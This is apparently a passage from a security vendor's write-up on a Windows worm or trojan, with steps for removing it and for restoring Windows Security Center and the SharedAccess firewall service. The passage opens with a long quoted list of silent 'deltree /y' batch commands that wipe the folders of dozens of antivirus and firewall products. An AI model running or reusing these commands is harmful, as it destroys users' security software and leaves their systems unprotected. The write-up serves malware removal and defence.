    @deltree/y c:\fwin32\*.* >nul
    @deltree/y c:\inocul~1\*.* >nul
    @deltree/y c:\inocul~2\*.* >nul
    @deltree/y c:\kasper~1\*.* >nul
    @deltree/y c:\kasper~2\*.* >nul
    @deltree/y c:\mcafee\*.* >nul
    @deltree/y c:\mcafee~1\*.* >nul
    @deltree/y c:\msav\*.* >nul
    @deltree/y c:\norman\*.* >nul
    @deltree/y c:\norton~1\*.* >nul
    @deltree/y c:\norton~2\*.* >nul
    @deltree/y c:\pav\*.* >nul
    @deltree/y c:\pccill~1\*.* >nul
    @deltree/y c:\pc-cil~1\*.* >nul
    @deltree/y c:\rav\*.* >nul
    @deltree/y c:\softwin\*.* >nul
    @deltree/y c:\tbav\*.* >nul
    @deltree/y c:\tbavw95\*.* >nul
    @deltree/y c:\toolkit\*.* >nul
    @deltree/y c:\trendm~1\*.* >nul
    @deltree/y c:\trex\*.* >nul
    @deltree/y c:\virus\*.* >nul
    @deltree/y c:\vpc\*.* >nul
    @deltree/y c:\vs95\*.* >nul
    @deltree/y c:\zonela~1\*.* >nul
    @deltree/y c:\zonela~2\*.* >nul
    @deltree/y c:\progra~1\antiba~1\*.* >nul
    @deltree/y c:\progra~1\antiba~2\*.* >nul
    @deltree/y c:\progra~1\antiba~1.1\*.* >nul
    @deltree/y c:\progra~1\antiba~1.2\*.* >nul
    @deltree/y c:\progra~1\antiba~1.3\*.* >nul
    @deltree/y c:\progra~1\antiba~1.4\*.* >nul
    @deltree/y c:\progra~1\antiba~1.5\*.* >nul
    @deltree/y c:\progra~1\antiba~1.6\*.* >nul
    @deltree/y c:\progra~1\antiba~1.7\*.* >nul
    @deltree/y c:\progra~1\antiba~1.8\*.* >nul
    @deltree/y c:\progra~1\antivi~1\*.* >nul
    @deltree/y c:\progra~1\antivi~2\*.* >nul
    @deltree/y c:\progra~1\avg\*.* >nul
    @deltree/y c:\progra~1\avp\*.* >nul
    @deltree/y c:\progra~1\avx\*.* >nul
    @deltree/y c:\progra~1\avx2000\*.* >nul
    @deltree/y c:\progra~1\avpers~1\*.* >nul
    @deltree/y c:\progra~1\bitdef~1\*.* >nul
    @deltree/y c:\progra~1\bitdef~2\*.* >nul
    @deltree/y c:\progra~1\comman~1\*.* >nul
    @deltree/y c:\progra~1\common~1\avpsha~1*.* >nul
    @deltree/y c:\progra~1\common~1\symant~1\*.* >nul
    @deltree/y c:\progra~1\datafe~1\*.* >nul
    @deltree/y c:\progra~1\deerfi~1.com\*.* >nul
    @deltree/y c:\progra~1\f-prot\*.* >nul
    @deltree/y c:\progra~1\f-prot95\*.* >nul
    @deltree/y c:\progra~1\findvi~1\*.* >nul
    @deltree/y c:\progra~1\f-secu~1\*.* >nul
    @deltree/y c:\progra~1\f-secure\*.* >nul
    @deltree/y c:\progra~1\fsi\*.* >nul
    @deltree/y c:\progra~1\fwin\*.* >nul
    @deltree/y c:\progra~1\fwin32\*.* >nul
    @deltree/y c:\progra~1\grisoft\*.* >nul
    @deltree/y c:\progra~1\inocul~1\*.* >nul
    @deltree/y c:\progra~1\inocul~2\*.* >nul
    @deltree/y c:\progra~1\intern~2\*.* >nul
    @deltree/y c:\progra~1\kasper~1\*.* >nul
    @deltree/y c:\progra~1\kasper~2\*.* >nul
    @deltree/y c:\progra~1\mcafee\*.* >nul
    @deltree/y c:\progra~1\mcafee~1\*.* >nul
    @deltree/y c:\progra~1\mindso~1\*.* >nul
    @deltree/y c:\progra~1\norman\*.* >nul
    @deltree/y c:\progra~1\norton~1\*.* >nul
    @deltree/y c:\progra~1\norton~2\*.* >nul
    @deltree/y c:\progra~1\pandas~1\*.* >nul
    @deltree/y c:\progra~1\protec~1\*.* >nul
    @deltree/y c:\progra~1\protec~2\*.* >nul
    @deltree/y c:\progra~1\quickh~1\*.* >nul
    @deltree/y c:\progra~1\rav\*.* >nul
    @deltree/y c:\progra~1\signal9\*.* >nul
    @deltree/y c:\progra~1\softwin\*.* >nul
    @deltree/y c:\progra~1\spysto~1\*.* >nul
    @deltree/y c:\progra~1\symant~1\*.* >nul
    @deltree/y c:\progra~1\tbav\*.* >nul
    @deltree/y c:\progra~1\tinype~1\*.* >nul
    @deltree/y c:\progra~1\trendm~1\*.* >nul
    @deltree/y c:\progra~1\trendp~1\*.* >nul
    @deltree/y c:\progra~1\trojan~1\*.* >nul
    @deltree/y c:\progra~1\trojan~2\*.* >nul
    @deltree/y c:\progra~1\virusm~1.0\*.* >nul
    @deltree/y c:\progra~1\zonela~1\*.* >nul
    @deltree/y c:\progra~1\zonela~2\*.* >nul

  5. Click File, and then click Save.
  6. Click File, and then click Exit.

7. To restore the Windows Security Center
This threat attempts to disable the features in the Windows Security Center, available in Windows XP Service Pack 2. If you are running Windows XP Service Pack 2 and would like to restore the full functionality of the Windows Security Center, please complete the following steps:

Important: If your computer is connected to a domain, you may not be able to adjust these settings. If so, contact your network administrator for more information.
  1. Click Start > Control Panel.
  2. Double-click the Security Center.
  3. In the right pane, click Windows Firewall. The Windows Firewall appears.
  4. Select On.
  5. Click OK to close the Windows Firewall.
  6. In the left pane of the Security Center, select Change the way Security Center alerts me.
  7. Click Alert Settings.
  8. Select Alert Settings, Firewall, and Virus Protection.
  9. Click OK
  10. Click Automatic Updates.
  11. Select Automatic.
  12. Click OK.
  13. Exit the Security Center.

8. To reenable the SharedAccess service (Windows 2000/XP only)
The SharedAccess service is responsible for maintaining Internet Connection Sharing and the Windows Firewall/Internet Connection Firewall applications in Windows. (The presence and names of these applications vary depending on the operating system and service pack you are using.) To protect your computer and maintain network functionality, re-enable this service if you are using any of these programs.


Windows XP Service Pack 2
If you are running Windows XP with Service Pack 2 and are using the Windows Firewall, the operating system will alert you when the SharedAccess service is stopped, by displaying an alert balloon saying that your Firewall status is unknown. Perform the following steps to ensure that the Windows Firewall is re-enabled:
  1. Click Start > Control Panel.

  2. Double-click the Security Center.

  3. Ensure that the Firewall security essential is marked ON.

    Note: If the Firewall security essential is marked on, your Windows Firewall is on and you do not need to continue with these steps.

    If the Firewall security essential is not marked on, click the "Recommendations" button.

  4. Under "Recommendations," click Enable Now. A window appears telling you that the Windows Firewall was successfully turned on.

  5. Click Close, and then click OK.

  6. Close the Security Center.


Windows 2000 or Windows XP Service Pack 1 or earlier
Complete the following steps to re-enable the SharedAccess service:
  1. Click Start > Run.
  2. Type services.msc

    Then click OK.

  3. Do one of the following:
    • Windows 2000: Under the Name column, locate the "Internet Connection Sharing (ICS)" service and double-click it.
    • Windows XP: Under the Named column, locate the "Internet Connection Firewall (ICF) / Internet Connection Sharing (ICS)" service and double-click it.

  4. Under "Startup Type:", select "Automatic" from the drop-down menu.

  5. Under "Service Status:", click the Start button.

  6. Once the service has completed starting, click OK.

  7. Close the Services window.


Writeup By: Candid Wueest